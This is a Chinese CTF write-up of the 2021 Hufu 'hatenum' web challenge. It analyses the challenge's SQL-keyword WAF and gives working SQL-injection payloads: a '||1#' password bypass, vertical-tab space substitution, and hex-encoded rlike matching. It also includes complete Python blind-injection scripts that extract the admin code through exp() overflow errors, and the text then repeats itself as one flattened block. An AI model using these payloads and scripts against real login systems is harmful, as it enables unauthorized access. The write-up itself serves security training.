2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析
字数 1546 2025-08-22 12:23:36

Hatenum Web 挑战深入分析与利用指南

挑战概述

Hatenum 是 2021 年数字中国创新大赛虎符网络安全赛道决赛中的一个 Web 题目,主要考察 SQL 注入绕过和盲注技术。挑战目标是获取 admin 权限并读取 flag。

源代码分析

文件结构

  • index.php: 登录页面,提交表单到 login.php
  • config.php: 包含 User 类和 WAF 检测功能
  • register.php: 用户注册功能
  • login.php: 用户登录处理
  • home.php: 登录成功后显示 flag 的页面

关键功能点

  1. User 类功能:

    • MySQL 数据库连接
    • 用户查询 (find)
    • 用户创建 (register)
    • 用户信息验证 (login)
  2. 登录验证流程:

    • 使用 SQL 语句拼接进行验证
    • 包含 code 验证(code 来自数据库查询结果)
    • code 可能是全局唯一或用户唯一
  3. WAF 防护:

    • array_waf 递归检测输入数据
    • 包含两种检测:
      • num_waf: 检测 9 位十进制或 9 位十六进制数字
      • sql_waf: 检测 SQL 注入关键字

WAF 绕过分析

SQL_WAF 过滤内容

正则表达式:

/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|r|\n|\t|substr|right|left|mid/i

数字 WAF 过滤内容

正则表达式:

/\d{9}|0x[0-9a-f]{9}/i

密码绕过技术

使用以下 payload 绕过密码验证:

username=admin&password=||1#

对应的 SQL 语句:

SELECT * FROM users WHERE username='admin' AND password='||1#'

盲注技术实现

盲注限制与绕过方法

  1. 字符截取类:

    • 禁用: substr, left, right, mid
    • 绕过: like, rlike, instr
  2. 语句分割:

    • 禁用: 空格, r(%0d), n(%0a), t(%09)
    • 绕过: %a0(&nbsp), %0b(垂直制表符), %0c(换页符)
  3. 逻辑运算:

    • 禁用: and, or, =, >, <, regexp
    • 绕过: like, greatest, least
  4. 条件判断:

    • 禁用: if (因为禁用了逗号)
    • 绕过: case, nullif

盲注思路

  1. 先盲注 code 长度
  2. 然后依次盲注每个字符

利用脚本详解

1. 获取 code 长度

def get_code_length():
    for i in range(20):
        guess_length_payload = f'||exp(710-((length(code)) like ({i})))#'
        payload = guess_length_payload.replace(' ', chr(0x0b))
        data = {
            'username': 'admin\\',
            'password': payload,
            'code': '123'
        }
        response = requests.post(base_url+'/login.php', data=data, 
                               allow_redirects=False, 
                               proxies={'http':'127.0.0.1:8080'})
        if 'fail' in response.text:
            return i
    return False

原理:利用 MySQL 的 exp() 函数在数值过大时会报错的特性,构造条件判断。

2. 字符串转换函数

def str2hex(raw):
    ret = '0x'
    for i in raw:
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret

将字符串转换为十六进制表示,避免使用引号被 WAF 检测。

3. 获取 code 内容

def get_code(length):
    # 从开头匹配
    tmp = '^'
    result1 = ''
    while len(result1) < length:
        for i in string.ascii_letters:
            guess_str_payload = f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
            payload = guess_str_payload.replace(' ', chr(0x0b))
            data = {
                'username': 'admin\\',
                'password': payload,
                'code': '123'
            }
            response = requests.post(base_url+'/login.php', data=data,
                                   allow_redirects=False,
                                   proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result1 += i
                if len(tmp) == 3:
                    tmp = tmp[1:] + i
                else:
                    tmp += i
                break
        log.info(f'result1 =>{result1}')
    
    # 从末尾匹配
    tmp = '$'
    result2 = ''
    while len(result2) < length:
        for i in string.ascii_letters:
            guess_str_payload = f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
            payload = guess_str_payload.replace(' ', chr(0x0b))
            data = {
                'username': 'admin\\',
                'password': payload,
                'code': '123'
            }
            response = requests.post(base_url+'/login.php', data=data,
                                   allow_redirects=False,
                                   proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result2 = i + result2
                if len(tmp) == 3:
                    tmp = i + tmp[:-1]
                else:
                    tmp = i + tmp
                break
        log.info(f'result2 =>{result2}')
    
    if result2 == result1:
        return result1
    else:
        log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
        return input('输入分析后的 result:')

技术要点:

  • 使用 rlikebinary 进行精确匹配
  • 同时从开头和结尾进行匹配以提高准确性
  • 使用 exp(710-(condition)) 构造布尔盲注
  • 限制 username 为 admin(0x61646d 是 'adm' 的十六进制)

4. 获取 flag

def get_flag(code):
    guess_str_payload = '||1#'
    payload = guess_str_payload.replace(' ', chr(0x0b))
    data = {
        'username': 'admin',
        'password': payload,
        'code': code
    }
    response = requests.post(base_url+'/login.php', data=data,
                           proxies={'http':'127.0.0.1:8080'})
    if 'hub' in response.text:
        return response.text
    else:
        return False

关键知识点总结

  1. MySQL exp() 函数利用:

    • exp(710) 接近 MySQL 的 double 类型上限
    • exp(710-condition) 会在 condition 为真时报错
  2. 正则表达式绕过:

    • 使用 rlike 代替 regexp
    • 使用 binary 确保大小写敏感匹配
  3. WAF 绕过技巧:

    • 使用垂直制表符 (0x0b) 代替空格
    • 限制 payload 长度避免数字 WAF 检测
    • 使用十六进制编码避免引号检测
  4. 盲注优化:

    • 同时从字符串开头和结尾进行匹配
    • 使用滑动窗口技术 (tmp 变量) 提高效率

参考资源

  1. 2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤 - CSDN博客
  2. 如何使用 MySQL exp() 函数进行 Sql 注入 - 先知社区

通过本指南,您应该能够全面理解 Hatenum 挑战的各个技术要点,并掌握类似的 SQL 注入绕过和盲注技术。

Hatenum Web 挑战深入分析与利用指南 挑战概述 Hatenum 是 2021 年数字中国创新大赛虎符网络安全赛道决赛中的一个 Web 题目,主要考察 SQL 注入绕过和盲注技术。挑战目标是获取 admin 权限并读取 flag。 源代码分析 文件结构 index.php : 登录页面,提交表单到 login.php config.php : 包含 User 类和 WAF 检测功能 register.php : 用户注册功能 login.php : 用户登录处理 home.php : 登录成功后显示 flag 的页面 关键功能点 User 类功能 : MySQL 数据库连接 用户查询 (find) 用户创建 (register) 用户信息验证 (login) 登录验证流程 : 使用 SQL 语句拼接进行验证 包含 code 验证(code 来自数据库查询结果) code 可能是全局唯一或用户唯一 WAF 防护 : array_waf 递归检测输入数据 包含两种检测: num_waf : 检测 9 位十进制或 9 位十六进制数字 sql_waf : 检测 SQL 注入关键字 WAF 绕过分析 SQL_ WAF 过滤内容 正则表达式: 数字 WAF 过滤内容 正则表达式: 密码绕过技术 使用以下 payload 绕过密码验证: 对应的 SQL 语句: 盲注技术实现 盲注限制与绕过方法 字符截取类 : 禁用: substr, left, right, mid 绕过: like, rlike, instr 语句分割 : 禁用: 空格, r(%0d), n(%0a), t(%09) 绕过: %a0(&nbsp), %0b(垂直制表符), %0c(换页符) 逻辑运算 : 禁用: and, or, =, >, <, regexp 绕过: like, greatest, least 条件判断 : 禁用: if (因为禁用了逗号) 绕过: case, nullif 盲注思路 先盲注 code 长度 然后依次盲注每个字符 利用脚本详解 1. 获取 code 长度 原理:利用 MySQL 的 exp() 函数在数值过大时会报错的特性,构造条件判断。 2. 字符串转换函数 将字符串转换为十六进制表示,避免使用引号被 WAF 检测。 3. 获取 code 内容 技术要点: 使用 rlike 和 binary 进行精确匹配 同时从开头和结尾进行匹配以提高准确性 使用 exp(710-(condition)) 构造布尔盲注 限制 username 为 admin(0x61646d 是 'adm' 的十六进制) 4. 获取 flag 关键知识点总结 MySQL exp() 函数利用 : exp(710) 接近 MySQL 的 double 类型上限 exp(710-condition) 会在 condition 为真时报错 正则表达式绕过 : 使用 rlike 代替 regexp 使用 binary 确保大小写敏感匹配 WAF 绕过技巧 : 使用垂直制表符 (0x0b) 代替空格 限制 payload 长度避免数字 WAF 检测 使用十六进制编码避免引号检测 盲注优化 : 同时从字符串开头和结尾进行匹配 使用滑动窗口技术 (tmp 变量) 提高效率 参考资源 2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤 - CSDN博客 如何使用 MySQL exp() 函数进行 Sql 注入 - 先知社区 通过本指南,您应该能够全面理解 Hatenum 挑战的各个技术要点,并掌握类似的 SQL 注入绕过和盲注技术。